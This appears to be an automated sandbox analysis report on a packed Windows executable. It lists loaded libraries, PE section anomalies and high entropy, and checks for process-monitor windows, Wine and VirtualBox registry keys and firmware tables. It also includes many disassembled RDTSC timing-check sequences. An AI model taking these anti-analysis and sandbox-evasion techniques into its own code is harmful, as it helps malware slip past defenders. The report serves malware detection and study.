Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1843200 > 1048576

Source: file.exe

Static PE information: Raw size of sxmimxoh is bigger than: 0x100000 < 0x199c00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 5.2.file.exe.8d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;sxmimxoh:EW;cibojnlb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;sxmimxoh:EW;cibojnlb:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cf0ce should be: 0x1ccafc

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: sxmimxoh
Source: file.exe	Static PE information: section name: cibojnlb
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A97EE pushad ; ret	5_3_012A9842
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A97EE pushad ; ret	5_3_012A9842
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A97EE pushad ; ret	5_3_012A9842
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A97EE pushad ; ret	5_3_012A9842
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A97EE pushad ; ret	5_3_012A9842
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A97EE pushad ; ret	5_3_012A9842
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0122CB06 push eax; retf	5_3_0122CB09
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_01225690 push B801225Ah; ret	5_3_01225695
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012236FE push edx; ret	5_3_0122384A
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_01225FC0 push eax; ret	5_3_0122631C
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_0129283A push ss; ret	5_3_0129283B
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A97EE pushad ; ret	5_3_012A9842
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A97EE pushad ; ret	5_3_012A9842
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A97EE pushad ; ret	5_3_012A9842

Source: file.exe	Static PE information: section name: entropy: 7.983673481557871
Source: file.exe	Static PE information: section name: sxmimxoh entropy: 7.95436366501058

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C997 second address: A9C99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C99C second address: A9C9A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4E14FCA656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B957 second address: A9B95B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BBFE second address: A9BC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BFF3 second address: A9BFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BFF7 second address: A9C013 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA666h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C154 second address: A9C172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E14FBFA38h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C172 second address: A9C177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C177 second address: A9C19A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E14FBFA33h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F4E14FBFA26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C19A second address: A9C1A0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C1A0 second address: A9C1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4E14FBFA2Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C1BB second address: A9C1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C1BF second address: A9C1C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C1C3 second address: A9C1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C1CD second address: A9C1E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E14FBFA37h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C1E8 second address: A9C205 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C205 second address: A9C20F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4E14FBFA26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F043 second address: A9F0AA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4E14FCA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F4E14FCA669h 0x00000012 jmp 00007F4E14FCA668h 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push ebx 0x0000001d jmp 00007F4E14FCA667h 0x00000022 pop ebx 0x00000023 mov eax, dword ptr [eax] 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 jl 00007F4E14FCA656h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F1BB second address: A9F218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xor dword ptr [esp], 09B9A263h 0x0000000d mov edi, ecx 0x0000000f lea ebx, dword ptr [ebp+12449F2Ah] 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F4E14FBFA28h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f jmp 00007F4E14FBFA36h 0x00000034 je 00007F4E14FBFA2Ch 0x0000003a mov dword ptr [ebp+122D39DAh], esi 0x00000040 push eax 0x00000041 push ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F218 second address: A9F21C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F2EF second address: A9F2F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F2F4 second address: A9F37A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4E14FCA65Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 pop eax 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007F4E14FCA65Ah 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 jmp 00007F4E14FCA65Ch 0x00000026 pop eax 0x00000027 jnl 00007F4E14FCA65Ch 0x0000002d push 00000003h 0x0000002f jnp 00007F4E14FCA65Ch 0x00000035 push 00000000h 0x00000037 push 00000003h 0x00000039 jmp 00007F4E14FCA65Ah 0x0000003e push 48472AB5h 0x00000043 jmp 00007F4E14FCA65Ch 0x00000048 add dword ptr [esp], 77B8D54Bh 0x0000004f lea ebx, dword ptr [ebp+12449F33h] 0x00000055 push eax 0x00000056 pushad 0x00000057 pushad 0x00000058 push eax 0x00000059 pop eax 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F3FA second address: A9F3FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F3FE second address: A9F43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4E14FCA661h 0x0000000c jmp 00007F4E14FCA65Eh 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F4E14FCA663h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F43E second address: A9F444 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F444 second address: A9F475 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F4E14FCA656h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f mov di, ax 0x00000012 push 00000000h 0x00000014 sub dword ptr [ebp+122D3974h], edi 0x0000001a pushad 0x0000001b mov dword ptr [ebp+122D3958h], eax 0x00000021 popad 0x00000022 call 00007F4E14FCA659h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a pushad 0x0000002b popad 0x0000002c pop eax 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F475 second address: A9F4C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E14FBFA30h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jo 00007F4E14FBFA2Eh 0x00000014 jg 00007F4E14FBFA28h 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jmp 00007F4E14FBFA35h 0x00000023 mov eax, dword ptr [eax] 0x00000025 push eax 0x00000026 push edx 0x00000027 jp 00007F4E14FBFA28h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F4C1 second address: A9F4D2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F4D2 second address: A9F554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4E14FBFA31h 0x0000000b popad 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F4E14FBFA28h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 movzx esi, bx 0x0000002a push 00000003h 0x0000002c mov edx, dword ptr [ebp+122D2C2Ah] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F4E14FBFA28h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e push 00000003h 0x00000050 movsx esi, bx 0x00000053 call 00007F4E14FBFA29h 0x00000058 js 00007F4E14FBFA34h 0x0000005e pushad 0x0000005f jnp 00007F4E14FBFA26h 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F554 second address: A9F560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F560 second address: A9F564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F564 second address: A9F568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F568 second address: A9F56E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F56E second address: A9F58F instructions: 0x00000000 rdtsc 0x00000002 je 00007F4E14FCA65Ch 0x00000008 jnp 00007F4E14FCA656h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 jo 00007F4E14FCA658h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A958C5 second address: A958D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A958D3 second address: A958D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE3A8 second address: ABE3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE3AE second address: ABE3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE3B6 second address: ABE3BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE6A2 second address: ABE6B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F4E14FCA656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F4E14FCA658h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEC33 second address: ABEC37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEC37 second address: ABEC3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEC3D second address: ABEC57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F4E14FBFA26h 0x0000000e jmp 00007F4E14FBFA2Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEDB5 second address: ABEDBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEECC second address: ABEED2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEED2 second address: ABEEEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E14FCA669h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEEEF second address: ABEEF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEEF3 second address: ABEF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a jmp 00007F4E14FCA65Eh 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEF10 second address: ABEF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEF14 second address: ABEF23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jno 00007F4E14FCA656h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABF0AE second address: ABF0B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFA6E second address: ABFA73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFA73 second address: ABFA78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFE79 second address: ABFE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFE7D second address: ABFE8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F4E14FBFA26h 0x00000009 jnp 00007F4E14FBFA26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC01AE second address: AC01B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
